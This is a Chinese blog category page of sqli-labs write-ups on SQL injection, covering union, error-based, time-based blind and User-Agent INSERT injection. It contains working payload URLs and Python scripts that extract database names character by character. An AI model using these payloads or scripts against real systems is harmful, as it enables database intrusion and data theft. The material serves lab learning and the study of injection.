分类 sql 注入 下的文章

sql注入时case when ... then ... else ...end 的应用

在基于时间的盲注的时候,一般使用的是if语句,如果符合条件就sleep,但是部分不能使用逗号的场景下,还可以使用case when #condition then ... else ... end语句来代替if语句,参考http://dev.mysql.com/doc/refman/5.7/en/control-flow-functions.html

某开源系统中

$this->ip = mysqli_real_escape_string($mysqli,$_SERVER['REMOTE_ADDR']);
if( !empty( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ){
    $REMOTE_ADDR = $_SERVER['HTTP_X_FORWARDED_FOR'];
    $tmp_ip=explode(',',$REMOTE_ADDR);
    $this->ip = $tmp_ip[0];
}

然后注入点在insert和update语句中。一个盲注场景,没有报错和回显。

- 阅读剩余部分 -

sqli lab 4 - insert 语句注入

这一次直接跳到 Lesson-18,之前的课程都可以之前三篇文章的方法去解决的。

这一次的是 insert 语句的注入,这个和之前的其实也很相似的,主要能构造出一个字符串就可以,然后放在 or 或者 and 里面作为条件。

POST /sqli-labs/Less-18/ HTTP/1.1
Host: 172.16.61.153
User-Agent: test' or sleep(4) or '
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://172.16.61.153/sqli-labs/Less-18/
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

uname=admin&passwd=admin&submit=Submit

发现响应了好几秒,确定注入点就在 User-Agent 上。sql 语句应该类似 INSERT INTO table (user_agent) VALUES ($_SERVER['HTTP_USER_AGENT'])

使用 extractvalue的 ua 是User-Agent: test' or extractvalue(1, concat("/", version())) or '

group by 报错的 ua 是User-Agent: test' or (select 1 from (select count(*), concat((select schema_name from information_schema.schemata limit 1 offset 1), floor(rand(0)*2))x from information_schema.tables group by x)a) or '

翻看了一下源代码,在登录的地方进行了转义处理,这样是没问题的,所以不要尝试注入登录的代码了。

function check_input($value)
{
    if(!empty($value))
    {
        // truncation (see comments)
        $value = substr($value,0,20);
    }

    // Stripslashes if magic quotes enabled
    if (get_magic_quotes_gpc())
    {
        $value = stripslashes($value);
    }

    // Quote if not a number
    if (!ctype_digit($value))
    {
        $value = "'" . mysql_real_escape_string($value) . "'";
    }
    else
    {
        $value = intval($value);
    }
    return $value;
}

除了 User-Agent 里面会出现注入以外,cookie 和 ip 字段注入也很常见。ip 字段注入一般是服务器端取的X-Fordwarded-For字段,而不是remote_addr,前一个 http 头是可以伪造的。

sqli lab 3 - 基于时间的盲注

基于时间的盲注,http://172.16.61.136/sqli-labs/Less-7/?id=1发现怎么写都不会爆出实际的错误了,返回值是下面两个之一

  • You are in....
  • You have an error in your SQL syntax

经过测试,发现http://172.16.61.136/sqli-labs/Less-7/?id=1', id 后面添加单引号的时候会报错,双引号没问题,说明 id 是被单引号括起来的,但是http://172.16.61.136/sqli-labs/Less-7/?id=1' --+,后面如果添加注释的话还是会报错的,说明不仅仅是被单引号括起来的,但是能加的应该只有括号了吧,之前也有这样的例子,后来发现添加两个括号就可以了。所以 sql 语句应该是类似 select * from table where id=(('$id'))

sql 语句中有一个 sleep 函数,一般这种不会报错的注入就要使用 sleep 了,测试一下。http://172.16.61.136/sqli-labs/Less-7/?id=1')) union select 1, 2, sleep(3) --+是过了三秒才响应的,说明 sql 注入确实存在。

但是实际应用中,怎么利用 sleep 来获取数据呢,一般的思路就是用 sql 语句中的 if 和 mid,来逐位的判断数据。

其中,MySQL 的 if 的用法是这样的

IF(expr1,expr2,expr3)

If expr1 is TRUE (expr1 <> 0 and expr1 <> NULL) then IF() returns expr2; otherwise it returns expr3. IF() returns a numeric or string value, depending on the context in which it is used.

如果 expr1 是 TRUE,就执行 expr2,否则就执行 expr3。

然后我们就可以这样逐位的去判断结果了,比如

select * from security.users where id =1 and if(ord(mid(version(),1,1))=53, sleep(3), 1);

这种基于时间的一般请求比较多,适合用代码来处理,比如获取 version() 的例子。

# coding=utf-8
import requests
import time

url = "http://172.16.61.144/sqli-labs/Less-7/?id=1')) and if(ord(mid(version(), {position}, 1))={ord}, sleep(0.3), 1) --+"

for position in range(1, 50):
    flag = False
    for i in range(32, 127):
        start_time = time.time()
        u = url.format(position=position, ord=i)
        requests.get(u)
        end_time = time.time()
        if end_time - start_time > 0.3:
            flag = True
            print chr(i),
            break
    if not flag:
        break

其中我 sleep 了 0.3秒,因为测试环境在我的电脑上,正常访问肯定不会超过300毫秒的,但是实际情况下,要适当的加长的,防止被网速误导。

稍微改下就可以获取全部数据库了

# coding=utf-8
import requests
import time

url = "http://172.16.61.144/sqli-labs/Less-7/?id=1')) and if(ord(mid((select schema_name from information_schema.schemata limit 1 offset {offset}), {position}, 1))={ord}, sleep(0.3), 1) --+"

for offset in range(10):
    for position in range(1, 50):
        flag2 = False
        for i in range(32, 127):
            start_time = time.time()
            u = url.format(offset=offset, position=position, ord=i)
            requests.get(u)
            end_time = time.time()
            if end_time - start_time > 0.3:
                flag2 = True
                print chr(i),
                break
        if not flag2:
            break
    print

这段代码没加 flag 控制,数据库还多的话,自己加一下 range。

然后同理可以获取到数据库的表和表的字段和具体的内容。

sqli lab 2 - 基于报错注入

昨晚就看了一部分了,然后顺手将 payload 放在 sqlchop 中测试了一下,发现了一个惊天秘密,非常明显的 sql 注入语句也认为是正常的,后来发现是不同平台编译的时候有中间文件没有全部清除,导致后续自动机出错。

上一篇文章都是有错误和数据回显的,利用相对容易,这一次的是没有数据回显,只有错误回显的,我们要使用报错注入了。

首先还是确定注入点类型,check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1,确定还是字符型的。然后发现非报错的时候,如果 id 存在就只显示 you are in,否则什么都不显示了。

报错注入的几种方法:

  1. extractvalue,MySQL 解析 xml 的一个函数,用法是ExtractValue(xml_frag, xpath_expr)。报错的时候是可以爆出第二个参数的内容的。比如http://172.16.61.136/sqli-labs/Less-5?id=1' and extractvalue(1, version()) --+就可以看到XPATH syntax error: '.27-0ubuntu0.15.04.1'。然后我们可以在第二个函数的位置放置 payloads。要注意的是:

    • 一定要报错,如果第二个参数是数字之类的可能并不会报错,这个时候可以 concat 一个特殊字符,比如http://172.16.61.136/sqli-labs/Less-5?id=1' and extractvalue(1, (select count(*) from security.users)) --+不报错,而http://172.16.61.136/sqli-labs/Less-5?id=1' and extractvalue(1, concat("/", (select count(*) from security.users))) --+才报错了。

    • 部分情况下可能会存在数据截断的问题

      • 最开始那个 payload,实际的 version()是5.6.27-0ubuntu0.15.04.1',而显示的时候前面丢了一些,这个时候前面拼接一个特殊字符一般可以解决问题,payload 修改为http://172.16.61.136/sqli-labs/Less-5?id=1' and extractvalue(1, concat("/", version())) --+

      • 要显示的数据过长也会导致后面截断,这个好像暂时没什么好方法。http://172.16.61.136/sqli-labs/Less-5?id=1' and extractvalue(1, concat("/", version(), database(), (select count(*) from security.users))) --+就无法显示 count(*) 的结果。

  2. updatexml,也是解析 xml 的一个函数,用法是UpdateXML(xml_target, xpath_expr, new_xml)。第二个参数是可以爆出内容的。比如http://172.16.61.136/sqli-labs/Less-5?id=1' and updatexml(1, version(), 1) --+,同样存在数据截断的问题,也可以通过 concat 字符解决,http://172.16.61.136/sqli-labs/Less-5?id=1' and updatexml(1, concat("/", version()), 1) --+

  3. join 报错注入

    1. 比如http://172.16.61.136/sqli-labs/Less-5?id=1' union select * from (select * from mysql.user a join mysql.user b) c --+,就会报错Duplicate column name 'Host',得到第一个字段 Host。

    2. 然后继续使用 using,比如http://172.16.61.136/sqli-labs/Less-5?id=1' union select * from (select * from mysql.user a join mysql.user b using(Host)) c --+就能得到第二个表名。

    3. 依次类推,using 里面是之前表的名字,逗号分隔,http://172.16.61.136/sqli-labs/Less-5?id=1' union select * from (select * from mysql.user a join mysql.user b using(Host, User)) c --+

  4. group by 报错。group by 大致就是先筛出数据,然后按照 group by 的字段逐个的查找,如果 key 存在,就讲数据插入临时表,如果 key 不存在,就创建 key,插入数据。如果我们使用随机化 key,可能会造成 group by 时候的错误。payload 可以是http://172.16.61.136/sqli-labs/Less-5?id=1' and (select 1 from (select count(*), concat(version(), floor(rand(0)*2))x from information_schema.tables group by x)a) --+。然后我们又可以愉快的爆数据库了,http://172.16.61.136/sqli-labs/Less-5?id=1' and (select 1 from (select count(*), concat((select schema_name from information_schema.schemata limit 1 offset {offset}), floor(rand(0)*2))x from information_schema.tables group by x)a) --+

Lesson 6 和上面的一样,不过单引号换成了双引号。

sqli lab 1 - union 注入,入门

基于 sqli labs,下载后自行安装。

Lesson 1

基础知识

  • mysql中可能有用的函数: database(), user(), version(), @@version_compile_os, concat(str1, str2, ...), md5(str), mid(column_name,start[,length])
  • union 查询知识
    • union 用于合并两个或多个 select 语句的结果集,并消去表中任何重复行。union 内部的 select 语句必须拥有相同数量的列,列也必须拥有相似的数据类型,每条 select 语句中的列的顺序必须相同。
    • union 默认会去掉重复记录值再合并成结果集,如果需要保留重复的记录值,请使用 union all。
    • union 结果集中的列名总是等于 union 中第一个 select 语句中的列名。
  1. http://172.16.61.132/sqli-labs/Less-1/?id=1'报错,错误信息是You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1,最外层的单引号是字符串的,去掉后 sql 语句就是'1'' LIMIT 0,1,可以看出 id字段是字符型的。

  2. http://172.16.61.132/sqli-labs/Less-1/?id=10000' union select 1, user(), version() --+得到用户和 MySQL 版本。http://172.16.61.132/sqli-labs/Less-1/?id=10000' union select 1, database(), 3 --+得知当前数据库名字是 security。其实还可以合并到一起的,http://172.16.61.132/sqli-labs/Less-1/?id=10000' union select 1, 2, concat(user(),database(),version()) --+

  3. 查看字段数量,在 url 上继续拼接 order by 语句。http://172.16.61.132/sqli-labs/Less-1/?id=1' order by 3 --+的时候正常,order by 4的时候报错了,说明有三个字段。

  4. information_schema.schemata这张表中有所有数据库的列表,information.tables有数据库中所有表的名字。通过http://172.16.61.132/sqli-labs/Less-1/?id=10000' union select 1, count(*), 2 from information_schema.schemata --+得到一共有6个数据库。

  5. schemata 这张表里面数据库字段名字就是 field_name,因为页面一次只能返回一条数据,我们需要逐条的去查询。
    http://172.16.61.132/sqli-labs/Less-1/?id=10000' union select 1, schema_name, 3 from information_schema.schemata limit 1 offset {offset}--+,将最后的 offset 从0遍历到5,就得到所有的数据库名字。

  6. 同理,http://172.16.61.132/sqli-labs/Less-1/?id=10000' union select 1, count(*), 3 from information_schema.tables where table_schema='security'--+得到 security 数据库中有四张表。http://172.16.61.132/sqli-labs/Less-1/?id=10000' union select 1, table_name, 3 from information_schema.tables where table_schema='security' limit 1 offset {offset}--+能获取 security 里面的所有表。

  7. http://172.16.61.132/sqli-labs/Less-1/?id=10000' union select 1, count(*), 3 from information_schema.columns where table_name='users' and table_schema='security' --+得到 users 表有三个字段,其实前面已经用 order by 得到了,这个地方是一种新方法。http://172.16.61.132/sqli-labs/Less-1/?id=10000' union select 1, column_name, 3 from information_schema.columns where table_name='users' and table_schema='security' limit 1 offset {offset}--+得到三个字段的字段名,id, username, password。只是用来演示,其实这些数据都在页面上能看到。

  8. 前面我们已知有一张表是 security.email,然后可以使用http://172.16.61.132/sqli-labs/Less-1/?id=10000' union select 1, email_id, 3 from security.emails --+逐行的去获取数据了,也就是拖库。

Lesson 2

访问http://172.16.61.132/sqli-labs/Less-2/?id=1'得到错误信息You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1,得知这次 id 是数字类型的,主要把 Lesson 1里面的那个单引号去掉就好了,其余的都不用改~

Lesson 3

访问http://172.16.61.132/sqli-labs/Less-3?id=1'得到错误信息You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1,猜测大致的 sql 语句是select * from users where id = ('$id'),还是字符型,只是加了一个括号,将 Lesson 1 的代码稍加修改就好了。

Lesson 4

发现单引号不报错了,而双引号会报错,按照 Lesson 1 修改 payloads 就好了。